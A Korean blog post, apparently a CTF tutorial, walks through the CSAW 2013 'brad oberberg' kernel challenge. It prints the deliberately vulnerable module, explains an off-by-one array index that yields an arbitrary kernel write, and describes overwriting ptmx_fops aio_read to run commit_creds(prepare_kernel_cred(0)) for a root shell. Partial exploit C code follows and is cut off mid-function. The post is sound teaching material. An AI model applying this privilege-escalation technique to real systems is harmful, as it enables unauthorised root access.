By puing | June 8, 2018
CTF 문제로 공부하는 Kernel Exploit EP.02 - CSAW 2013 brad oberberg
안녕하세요!
다시 커널 익스플로잇 문제와 함께 돌아온 puing
입니다!
이번에 풀어볼 문제는 2013 CSAW 에 출제되었던 Brad-Oberberg
라는 문제입니다.
시작 해 볼꺄요?ㅎㅎ
문제 소스가 길지만 차근차근 봅시다!
문제 소스는 아래와 같습니다.
/*
* .ed"""" """$$$$be.
* -" ^""**$$$e.
* ." '$$$c
* / C S A W "4$$b
* d 3 2 0 1 3 $$$$
* $ * .$$$$$$
* .$ ^c $$$$$e$$$$$$$$.
* d$L 4. 4$$$$$$$$$$$$$$b
* $$$$b ^ceeeee. 4$$ECL.F*$$$$$$$
* e$""=. $$$$P d$$$$F $ $$$$$$$$$- $$$$$$
* z$$b. ^c 3$$$F "$$$$b $"$$$$$$$ $$$$*" .=""$c
* 4$$$$L $$P" "$$b .$ $$$$$...e$$ .= e$$$.
* ^*$$$$$c %.. *c .. $$ 3$$$$$$$$$$eF zP d$$$$$
* "**$$$ec " %ce"" $$$ $$$$$$$$$$* .r" =$$$$P""
* "*$b. "c *$e. *** d$$$$$"L$$ .d" e$$***"
* ^*$$c ^$c $$$ 4J$$$$$% $$$ .e*".eeP"
* "$$$$$$"'$=e....$*$$**$cz$$" "..d$*"
* "*$$$ *=%4.$ L L$ P3$$$F $$$P"
* "$ "%*ebJLzb$e$$$$$b $P"
* %.. 4$$$$$$$$$$ "
* $$$e z$$$$$$$$$$%
* "*$c "$$$$$$$P"
* ."""*$$$$$$$$bc
* .-" .$***$$$"""*e.
* .-" .e$" "*$c ^*b.
* .=*"""" .e$*" "*bc "*$e..
* .$" .z*" ^*$e. "*****e.
* $$ee$c .d" "*$. 3.
* ^*$E")$..$" * .ee==d%
* $.d$$$* * J$$$e*
* """"" "$$$" Gilo95'
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <linux/list.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#define DRIVER_VERSION "CSAW SUCKiT v1.3.37"
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS CSAW_IOCTL_BASE+7
#define MAX_CONSUMERS 255
struct csaw_buf {
unsigned long consumers[MAX_CONSUMERS];
char *buf;
unsigned long size;
unsigned long seed;
struct list_head list;
};
LIST_HEAD(csaw_bufs);
struct alloc_args {
unsigned long size;
unsigned long handle;
};
struct free_args {
unsigned long handle;
};
struct read_args {
unsigned long handle;
unsigned long size;
void *out;
};
struct write_args {
unsigned long handle;
unsigned long size;
void *in;
};
struct consumer_args {
unsigned long handle;
unsigned long pid;
unsigned char offset;
};
struct csaw_stats {
unsigned long clients;
unsigned long handles;
unsigned long bytes_read;
unsigned long bytes_written;
char version[40];
};
unsigned long clients = 0;
unsigned long handles = 0;
unsigned long bytes_read = 0;
unsigned long bytes_written = 0;
static int csaw_open ( struct inode *inode, struct file *file )
{
clients++;
return 0;
}
static int csaw_release ( struct inode *inode, struct file *file )
{
clients--;
return 0;
}
int alloc_buf ( struct alloc_args *alloc_args )
{
struct csaw_buf *cbuf;
char *buf;
unsigned long size, seed, handle;
size = alloc_args->size;
if ( ! size )
return -EINVAL;
cbuf = kmalloc(sizeof(*cbuf), GFP_KERNEL);
if ( ! cbuf )
return -ENOMEM;
buf = kzalloc(size, GFP_KERNEL);
if ( ! buf )
{
kfree(cbuf);
return -ENOMEM;
}
cbuf->buf = buf;
cbuf->size = size;
memset(&cbuf->consumers, 0, sizeof(cbuf->consumers));
cbuf->consumers[0] = current->pid;
get_random_bytes(&seed, sizeof(seed));
cbuf->seed = seed;
handle = (unsigned long)buf ^ seed;
list_add(&cbuf->list, &csaw_bufs);
alloc_args->handle = handle;
return 0;
}
void free_buf ( struct csaw_buf *cbuf )
{
list_del(&cbuf->list);
kfree(cbuf->buf);
kfree(cbuf);
}
struct csaw_buf *find_cbuf ( unsigned long handle )
{
struct csaw_buf *cbuf;
list_for_each_entry ( cbuf, &csaw_bufs, list )
if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
return cbuf;
return NULL;
}
static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
int ret = 0;
unsigned long *argp = (unsigned long *)arg;
switch ( cmd )
{
case CSAW_ALLOC_HANDLE:
{
int ret;
struct alloc_args alloc_args;
if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
return -EFAULT;
if ( (ret = alloc_buf(&alloc_args)) < 0 )
return ret;
if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
return -EFAULT;
handles++;
break;
}
case CSAW_READ_HANDLE:
{
struct read_args read_args;
struct csaw_buf *cbuf;
unsigned int i, authorized = 0;
unsigned long to_read;
if ( copy_from_user(&read_args, argp, sizeof(read_args)) )
return -EFAULT;
cbuf = find_cbuf(read_args.handle);
if ( ! cbuf )
return -EINVAL;
for ( i = 0; i < MAX_CONSUMERS; i++ )
if ( current->pid == cbuf->consumers[i] )
authorized = 1;
if ( ! authorized )
return -EPERM;
to_read = min(read_args.size, cbuf->size);
if ( copy_to_user(read_args.out, cbuf->buf, to_read) )
return -EFAULT;
bytes_read += to_read;
break;
}
case CSAW_WRITE_HANDLE:
{
struct write_args write_args;
struct csaw_buf *cbuf;
unsigned int i, authorized = 0;
unsigned long to_write;
if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
return -EFAULT;
cbuf = find_cbuf(write_args.handle);
if ( ! cbuf )
return -EINVAL;
for ( i = 0; i < MAX_CONSUMERS; i++ )
if ( current->pid == cbuf->consumers[i] )
authorized = 1;
if ( ! authorized )
return -EPERM;
to_write = min(write_args.size, cbuf->size);
if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
return -EFAULT;
bytes_written += to_write;
break;
}
case CSAW_GET_CONSUMER:
{
struct consumer_args consumer_args;
struct csaw_buf *cbuf;
unsigned int i, authorized = 0;
if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
return -EFAULT;
cbuf = find_cbuf(consumer_args.handle);
if ( ! cbuf )
return -EINVAL;
for ( i = 0; i < MAX_CONSUMERS; i++ )
if ( current->pid == cbuf->consumers[i] )
authorized = 1;
if ( ! authorized )
return -EPERM;
consumer_args.pid = cbuf->consumers[consumer_args.offset];
if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) )
return -EFAULT;
break;
}
case CSAW_SET_CONSUMER:
{
struct consumer_args consumer_args;
struct csaw_buf *cbuf;
unsigned int i, authorized = 0;
if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
return -EFAULT;
cbuf = find_cbuf(consumer_args.handle);
if ( ! cbuf )
return -EINVAL;
for ( i = 0; i < MAX_CONSUMERS; i++ )
if ( current->pid == cbuf->consumers[i] )
authorized = 1;
if ( ! authorized )
return -EPERM;
cbuf->consumers[consumer_args.offset] = consumer_args.pid;
break;
}
case CSAW_FREE_HANDLE:
{
struct free_args free_args;
struct csaw_buf *cbuf;
unsigned int i, authorized = 0;
if ( copy_from_user(&free_args, argp, sizeof(free_args)) )
return -EFAULT;
cbuf = find_cbuf(free_args.handle);
if ( ! cbuf )
return -EINVAL;
for ( i = 0; i < MAX_CONSUMERS; i++ )
if ( current->pid == cbuf->consumers[i] )
authorized = 1;
if ( ! authorized )
return -EPERM;
free_buf(cbuf);
handles--;
break;
}
case CSAW_GET_STATS:
{
struct csaw_stats csaw_stats;
csaw_stats.clients = clients;
csaw_stats.handles = handles;
csaw_stats.bytes_read = bytes_read;
csaw_stats.bytes_written = bytes_written;
strcpy(csaw_stats.version, DRIVER_VERSION);
if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
return -EFAULT;
break;
}
default:
ret = -EINVAL;
break;
}
return ret;
}
static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
char *stats;
unsigned int to_read;
unsigned int ret;
stats = kmalloc(1024, GFP_KERNEL);
if ( ! buf )
return -ENOMEM;
ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
clients, handles, bytes_read, bytes_written);
if ( count < ret )
to_read = count;
else
to_read = ret;
if ( copy_to_user(buf, stats, to_read) )
{
kfree(stats);
return -EFAULT;
}
kfree(stats);
return 0;
}
static const struct file_operations csaw_fops = {
owner: THIS_MODULE,
open: csaw_open,
release: csaw_release,
unlocked_ioctl: csaw_ioctl,
read: csaw_read,
};
static struct miscdevice csaw_miscdev = {
name: "csaw",
fops: &csaw_fops
};
static int __init lezzdoit ( void )
{
misc_register(&csaw_miscdev);
return 0;
}
static void __exit wereouttahurr ( void )
{
misc_deregister(&csaw_miscdev);
}
module_init(lezzdoit);
module_exit(wereouttahurr);
MODULE_LICENSE("GPL");
분석 해 봅시다
코드 하단을 보면, 해당 모듈이 로드될때 lezzdoit
함수가 불리게됩니다.
lezzdoit
에서 misc_register
함수를 사용하여 /dev 디렉터리에 csaw
라는 디바이스를 등록합니다.
miscdevice
구조체를 보면,name
,fops
는 각각csaw
와&csaw_fops
로 되어있습니다.
이 구조체 정보대로 /dev 디렉터리에 csaw 디바이스가 생성되는 것입니다.
그리고file_operations
구조체대로 open, release 등 이런 작업이 발생하면 csaw_open, csaw_release 함수들이 호출됩니다.
불려질 함수(file_operations 구조체에 있는 함수)들은 코드 내용에 포함되어있는 것을 볼 수 있습니다.
간단하게 /dev/csaw 에 읽기 작업을 시도해보면, csaw_read 함수가 호출되는 것을 볼 수 있습니다.
작성한 read_csaw.c 내용
#include <fcntl.h>
#include <stdio.h>
int main()
{
int fd;
char buf[1024];
fd = open("/dev/csaw", O_RDONLY);
read(fd,buf,1024);
printf("buf : %s\n",buf);
return 0;
}
모듈에 정의된 csaw_read 함수 내용
static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
char *stats;
unsigned int to_read;
unsigned int ret;
stats = kmalloc(1024, GFP_KERNEL);
if ( ! buf )
return -ENOMEM;
ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
clients, handles, bytes_read, bytes_written);
if ( count < ret )
to_read = count;
else
to_read = ret;
if ( copy_to_user(buf, stats, to_read) )
{
kfree(stats);
return -EFAULT;
}
kfree(stats);
return 0;
}
그리고 모듈에 있는 csaw_ioctl
함수 내용을 봅시다.
csaw_ioctl
static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
int ret = 0;
unsigned long *argp = (unsigned long *)arg;
switch ( cmd )
{
case CSAW_ALLOC_HANDLE:
{
int ret;
struct alloc_args alloc_args;
if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
return -EFAULT;
if ( (ret = alloc_buf(&alloc_args)) < 0 )
return ret;
if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
return -EFAULT;
handles++;
break;
}
case CSAW_READ_HANDLE:
{
....
....
switch 문으로 cmd 값이 뭔지에 따라 각각의 case 로 들어가 이하의 내용을 실행하게됩니다. 그럼 이번에도 간단하게 cmd 에 CSAW_ALLOC_HANDLE 를 넣어서 csaw_ioctl 함수를 호출해봅시다.
작성한 call_ioctl.c 내용
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS CSAW_IOCTL_BASE+7
struct alloc_args {
unsigned long size;
unsigned long handle;
};
int main()
{
int fd;
char buf[1024];
struct alloc_args alloc_args;
fd = open("/dev/csaw", O_RDONLY);
memset(&alloc_args, 0, sizeof(alloc_args));
alloc_args.size = 100;
ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);
return 0;
}
그리고 printk 를 추가하여 제대로 함수호출이 됐는지 확인해봅시다.
수정한 모듈 소스 내용
int alloc_buf ( struct alloc_args *alloc_args )
{
struct csaw_buf *cbuf;
char *buf;
unsigned long size, seed, handle;
printk(KERN_INFO "alloc_buf was called!!\n");
printk(KERN_INFO "size is %d\n",alloc_args->size);
결과 화면을 보면 csaw_ioctl 함수가 호출되어 CSAW_ALLOC_HANDLE
로 들어가서 alloc_buf
함수가 호출된 것을 확인할 수 있습니다.
사용자가
ioctl
함수에fd
,cmd
,arg
를 넣어 호출하면 모듈에 있는 csaw_ioctl 가 호출됩니다.
alloc_buf 함수를 더 살펴보면, 우선 size 만큼 kzalloc 함수로 메모리를 할당받습니다. 그 주소를 buf
에 넣어주고 난수를 생성하여 seed
에 넣어줍니다. 그리고 buf
와 seed
끼리 xor 연산한 결과를 handle
에 넣어줍니다.
각 구조체에 채워지는 정보는 위와 같습니다.
csaw_buf
크기 만큼 kmalloc 으로 메모리를 할당받고 반환된 주소를 cbuf
에 넣어주고, 사용자가 넘겨준 size 를 csaw_buf
구조체안에 있는 size
변수에 넣어줍니다. 그리고 사용자가 넘겨준 size
만큼 kzalloc 으로 메모리를 할당받고 반환된 주소는 csaw_buf
구조체안에 있는 buf
변수에 넣어줍니다. 현재 pid 는 csaw_buf
구조체안에 consumers[0]
에 넣어주고 난수를 생성하여 seed
변수에 넣어줍니다. 그리고 생성된 난수와 kzalloc 의 리턴값이 담겨있는 buf 와 xor 연산한 결과를 alloc_args
구조체 handle
에 넣어줍니다. 그리고 alloc_args
구조체는 사용자에게 전달됩니다.
static long csaw_ioctl(..)
{
...
...
switch( cmd )
{
case CSAW_ALLOC_HANDLE:
{
....
....
if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
....
alloc_buf 함수를 호출한 후, 사용자에게 alloc_args 값이 잘 전달되는지 확인해보면, size 와 handle 값이 잘 전달된 것을 볼 수 있습니다.
(handle 값은 실행할때마다 랜덤입니다!)
fd = open("/dev/csaw", O_RDONLY);
memset(&alloc_args, 0, sizeof(alloc_args));
alloc_args.size = 100;
ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);
printf("alloc_args.size is %ld\n",alloc_args.size);
printf("alloc_args.handle is %lx\n\n",alloc_args.handle);
cmd 중 CSAW_READ_HANDLE
,CSAW_WRITE_HANDLE
경우 실행되는 내용을 보면, cbuf->buf 내용을 읽거나 이 곳에 쓰는 작업을 하게됩니다.
case CSAW_WRITE_HANDLE 내용
...
copy_from_user(cbuf->buf, write_args.in, to_write);
...
case CSAW_READ_HANDLE 내용
...
copy_to_user(read_args.out, cbuf->buf, to_read);
...
CSAW_GET_CONSUMER
,CSAW_SET_CONSUMER
는 consumer_args
구조체의 pid 값에 cbuf->consumers[consumer_args.offset]
를 써주거나 사용자가 전달한 consumer_args
구조체의 pid 값을 cbuf->consumers[consumer_args.offset]
에 써줍니다.
case CSAW_SET_CONSUMER 내용
...
cbuf->consumers[consumer_args.offset] = consumer_args.pid;
...
case CSAW_GET_CONSUMER 내용
...
consumer_args.pid = cbuf->consumers[consumer_args.offset];
...
그럼 이쯤에서 CSAW_GET_CONSUMER
,CSAW_SET_CONSUMER
를 사용하여 consumer_args
구조체의 pid 에 값이 잘 써지고 잘 읽혀지는지 봅시다.
작성한 read_write_pid.c 내용
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS CSAW_IOCTL_BASE+7
struct alloc_args {
unsigned long size;
unsigned long handle;
};
struct consumer_args {
unsigned long handle;
unsigned long pid;
unsigned char offset;
};
int main()
{
int fd;
char buf[1024];
unsigned long handle;
struct alloc_args alloc_args;
struct consumer_args consumer_args;
fd = open("/dev/csaw", O_RDONLY);
memset(&alloc_args, 0, sizeof(alloc_args));
alloc_args.size = 100;
ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);
printf("alloc_args.size is %ld\n",alloc_args.size);
printf("alloc_args.handle is %lx\n\n",alloc_args.handle);
handle = alloc_args.handle;
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.pid = 100;
consumer_args.offset = 10;
ioctl(fd,CSAW_SET_CONSUMER,&consumer_args);
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.offset = 10;
ioctl(fd,CSAW_GET_CONSUMER,&consumer_args);
printf("consumer_args.offset is %ld, consumser_args.pid = %ld\n",consumer_args.offset, consumer_args.pid);
return 0;
}
consumer_args.offset 10
에 pid
100을 넣어준 후, CSAW_SET_CONSUMER
cmd 를 넣어 ioctl 을 호출한 후, consumser_args.offset 10
을 넣고 cmd CSAW_GET_CONSUMER
를 넣어 ioctl 을 호출해보면, pid
가 100
으로 출력되는 것을 볼 수 있습니다.
이 부분에 취약점이 존재합니다!
#define MAX_CONSUMERS 255
struct csaw_buf {
unsigned long consumers[MAX_CONSUMERS];
char *buf;
unsigned long size;
unsigned long seed;
struct list_head list;
};
csaw_buf
struct 에 consumers 배열의 크기는 255로 정해져있습니다.
consumer_args.pid = cbuf->consumers[consumer_args.offset];
cbuf->consumers[consumer_args.offset] = consumer_args.pid;
그리고 CSAW_GET_CONSUMER
, CSAW_SET_CONSUMER
각각에서 consumers
배열에 있는 값을 읽거나, 이 곳으로 값을 써줍니다.
consumers
배열에 접근할 때, 사용자가 전달한 consumer_args.offset
에 있는 값이 배열의 첨자로 들어가서 접근하게 되는데…
우리가 consumer_args.offset
값으로 255 를 전달하면 어떻게 될까요?
consumers 배열은 255만큼의 크기를 가지고 있고 배열 첨자는 0부터 시작하기 때문에
consumers[0] 부터 consumers[254] 까지 총 255개의 배열 요소가 존재합니다.
그런데 consumers[255] 는 consumers 배열이 아니라 그 밑에 선언된 buf 변수를 의미합니다.
즉, consumer_args.pid = cbuf->consumers[255]
는
buf 내용이 consumer_args.pid 에 들어가게됩니다.
이와같이, cbuf->consumers[255] = consumer_args.pid
는
consumer_args.pid 값이 buf 로 들어가게됩니다.
간단하게 소스를 만들어 확인해보면~
작성한 test.c 내용
#include <stdio.h>
struct csaw
{
unsigned long consumer[255];
char *buf;
};
void func()
{
printf("hello\n");
}
int main()
{
struct csaw *cbuf;
printf("cbuf->buf : %p\n",cbuf->buf);
printf("cbuf->buf = malloc(100)\n");
cbuf->buf = malloc(100);
printf("cbuf->buf : %p\n",cbuf->buf);
printf("cbuf->consumer[255] : %p\n",cbuf->consumer[255]);
printf("cbuf->consumer[255] = &func\n");
cbuf->consumer[255] = &func;
printf("cbuf->buf : %p\n",cbuf->buf);
return 0;
}
buf엔 malloc
으로 할당받은 주소를 넣어주고, consumer[255]
로 접근해보았습니다.
그리고 consumuser[255] 로 func 함수 주소를 넣어보고 buf 내용을 출력해보았습니다.
consumer[255] 를 출력하면 buf 의 내용이 출력되고, consumer[255] 에 값을 쓰면, 결과적으로 buf 에 값이 써지게 됩니다.
이를 이용해서 우리는 원하는 곳에 원하는 값을 쓰는게 가능해집니다.
- 우리는 일단
CSAW_GET_CONSUMER
,CSAW_SET_CONSUMER
를 이용하면cbuf->buf
에 원하는 값을 쓸 수 있습니다.cbuf->buf
에0x41414141
이라는 값을 썼다고 가정해봅니다.- 그리고
CSAW_WRITE_HANDLE
에선 사용자가 입력한write_args.in
가 가리키는 값이cbuf->buf
가 가리키는 곳에 써집니다.
write_args.in
에0x61616161
이라는 주소가 있다고 하면,0x61616161
에 있는 값이0x41414141
이 가리키는 곳에 써지게 되는 것입니다.- 우리는
write_args.in
에 원하는 주소를 넣을 수 있으므로 결국엔 원하는 값을 원하는 곳에 쓸 수 있게 되는 것 입니다.
하지만 여기서 하나의 관문이 있습니다ㅠㅠ
바로 find_cbuf
함수입니다.
struct csaw_buf *find_cbuf ( unsigned long handle )
{
struct csaw_buf *cbuf;
list_for_each_entry ( cbuf, &csaw_bufs, list )
if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
return cbuf;
return NULL;
}
find_cbuf
함수 내용을 보면, list_for_each_entry 로 순회하면서 handle 값이 buf ^ seed 한 값과 일치하는 지를 확인합니다. 이 부분은 아까 위에서 alloc_buf 함수 내용을 살펴볼 때, 있었던 내용인데.. alloc_buf 함수에서 kzalloc 으로 메모리 할당받고 그 주소가 buf에 저장됩니다. 그리고 buf 와 랜덤 수가 담겨있는 seed 를 xor 연산한 결과를 handle 에 넣어줍니다.
우리가 CSAW_SET_CONSUMER
을 이용하여 buf 에 원하는 주소를 넣어줬다고 하더라도, CSAW_WRITE_HANDLE
에서 find_cbuf 함수를 호출하기때문에 원하는 주소가 들어있는 buf 와 랜덤 값인 seed 를 xor 연산한 값이 handle 에 들어있지 않으면 원하는 주소에 쓸 수 없게 될 것입니다.
하지만 우리는 이 seed 값을 알아낼 수 있습니다. ㅎㅎ CSAW_GET_CONSUMER
을 이용하면 되는데, consumsers[255] 와같이 사용해서 buf 내용을 얻을 수 있죠? 그리고 CSAW_ALLOC_HANDLE
에서 사용자에게 handle 값이 담겨져있는 alloc_args 를 전달해줬습니다. 우리는 buf 와 handle 값을 가지고 있으므로 이 둘끼리 xor 연산을 하면 seed 값을 알아낼 수 있습니다.
순서를 정리 해보자면
CSAW_ALLOC_HANDLE
: alloc_buf 에서 메모리 할당 후, 전달된handle
값을 가지고 있는다.CSAW_GET_CONSUMER
: consumers[255] 로 접근하여buf
값을 가지고 있는다.buf
값과handle
값을 xor 연산하여seed
값을 알아낸다.CSAW_SET_CONSUMER
: consumers[255] 로 접근하여 pid 에 원하는 주소를 담아 전달한다.CSAW_WRITE_HANDLE
: 원하는 주소 ^ seed 연산 결과 값을 handle 에 담고, 쓰고자하는 값을 write_args.in 에 담아 전달한다.
이렇게 요약해볼 수 있습니다.
어떻게 Exploit 할까?
먼저 commit_creds(prepare_kernel_cred(0))
을 이용하여 권한 상승을 하고, /bin/sh
을 실행하는 방법을 알아보겠습니다.
commit_creds(prepare_kernel_cred(0))
로 어떻게 권한 상승을 하는건지 모르신다면 전편을 참고해주세요!
Kernel Exploit in CTF EP01- privilege escalation in csaw2010 Kernel Challenge
그럼 어떻게 commit_creds(prepare_kernel_cred(0))
를 호출해줄까요?
먼저 readv
라는 함수가 있습니다. read
함수와 비슷한 함수예요.
readv
함수 내부를 보면,
readv->vfs_readv->do_readv_writev->do_sync_readv_writev->fn(...);
위와 같은 순으로 fn 함수가 호출됩니다. fn 에는 f_op->aio_read
의 주소가 들어있습니다.
즉, readv
함수를 호출하면 file_operations
구조체 안에있는 aio_read
라는 함수 포인터가 가리키는 함수로 가게됩니다.
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
....
file_operations 구조체 내용을 보면, aio_read 라는 함수 포인터가 있습니다. 함수 주소를 담고 있는 변수죠!
readv 함수를 호출하면, 이 aio_read 변수 안에 있는 함수 주소로 가게됩니다.
우리는 이 aio_read
함수 포인터를 조작할 것입니다.
aio_read 함수 포인터에 우리가 원하는 주소를 넣고, readv 함수를 호출하면 우리가 원하는 주소로 가게 되겠죠?
readv 함수 사용법은, readv(fd, iovec, cnt);
와 같이, 파일 디스크립터와 iovec 구조체, iovec 구조체 변수 수를 인자로 주고 호출합니다.
iovec
구조체 형태는 아래와같습니다.
struct iovec
{
ptr_t iov_base;
size_t lov_len;
};
작성한 test.c 내용
#include <sys/uio.h>
#include <fcntl.h>
#include <stdio.h>
int main()
{
int fd;
char buf[20];
struct iovec iov;
fd = open("./tmp",O_RDWR);
if(fd < 0)
{
printf("nono\n");
}
memset(buf,0,20);
iov.iov_base = buf;
iov.iov_len = 12;
readv(fd,&iov,1);
printf("%s\n", buf);
return 0;
}
tmp 내용으로 아무 문자열을 넣고 readv
함수로 읽으면 그대로 출력되는 것을 확인할 수 있습니다.
$ cat tmp
hello world~
$ ./test
hello world~
/dev 디렉터리에 ptmx
라는 character device file
이 있습니다. 해당 파일을 open 함수로 열어서 readv
함수로 읽기 작업을 시도하면 ptmx_fops
구조체에 따라 aio_read 변수에 담겨있는 주소로 가게됩니다.
ptmx_fops
는 drivers/tty/pty.c 파일에 아래와 같이 선언되어있습니다.
static struct file_operations ptmx_fops;
그리고 ptmx_fops
구조체의 주소는 /proc/kallsyms 파일을 보고 알아낼 수 있습니다.
ptmx_fops
의 주소를 알아낼 수 있으니 이 주소에 +16 이면 aio_read
변수의 주소일 것입니다. 이 변수에 우리가 원하는 주소를 써준 후, /dev/ptmx
파일을 열고 readv 함수로 읽기 작업을 시도하면 우리가 원하는 주소로 가게되겠죠?ㅎㅎ
아까 정해둔 순서는 아래와 같았죠?
CSAW_ALLOC_HANDLE
: alloc_buf 에서 메모리 할당 후, 전달된handle
값을 가지고 있는다.CSAW_GET_CONSUMER
: consumers[255] 로 접근하여buf
값을 가지고 있는다.buf
값과handle
값을 xor 연산하여seed
값을 알아낸다.CSAW_SET_CONSUMER
: consumers[255] 로 접근하여 pid 에 원하는 주소를 담아 전달한다.CSAW_WRITE_HANDLE
: 원하는 주소 ^ seed 연산 결과 값을 handle 에 담고, 쓰고자하는 값을 write_args.in 에 담아 전달한다.
처음에 ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args)
를 호출하여 alloc_buf
함수를 통해 메모리 할당 받습니다.
그럼 buf
와 랜덤 seed
를 xor 하여 handle
을 반환하게됩니다.
그리고 offset 255 를 넣어주고 ioctl(fd, CSAW_GET_CONSUMER, &consumer_args)
를 호출하면 buf
에 있는 값을 알아낼 수 있습니다.
알아낸 buf
값와 handle
을 xor 연산하여 seed
값을 알아냅니다. 그리고 원하는 주소인 ptmx_fops
에 +16
를 pid 에 담고 offset 255 넣어주고 ioctl(fd, CSAW_SET_CONSUMER, &consumer_args)
를 호출하면 buf 에 원하는 주소가 담기게 됩니다.
그리고 원하는 주소인 ptmx_fops
에 +16
한 주소와 알아낸 seed
값을 xor 연산한 결과를 handle
값으로 넣어주고 commit_creds(prepare_kernel_cred(0))
을 호출하는 주소를 in
에 넣어 ioctl(fd, CSAW_WRITE_HANDLE, &write_args)
를 호출하면 ptmx_fops + 16
인 aio_read
변수에 commit_creds(prepare_kernel_cred(0))
의 주소가 들어가게될 것입니다.
이 후에 readv 함수를 호출하면 commit_creds(prepare_kernel_cred(0))
이 호출되어 권한 상승을 할 수 있겠죠?
그리고 /bin/sh
을 실행하면 root 권한의 쉘을 획득할 수 있게 됩니다.
Exploit Code 내용
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#define BUF_SIZE 0x100
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS CSAW_IOCTL_BASE+7
struct alloc_args {
unsigned long size;
unsigned long handle;
};
struct free_args {
unsigned long handle;
};
struct read_args {
unsigned long handle;
unsigned long size;
void *out;
};
struct write_args {
unsigned long handle;
unsigned long size;
void *in;
};
struct consumer_args {
unsigned long handle;
unsigned long pid;
unsigned char offset;
};
struct csaw_stats {
unsigned long clients;
unsigned long handles;
unsigned long bytes_read;
unsigned long bytes_written;
char version[40];
};
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
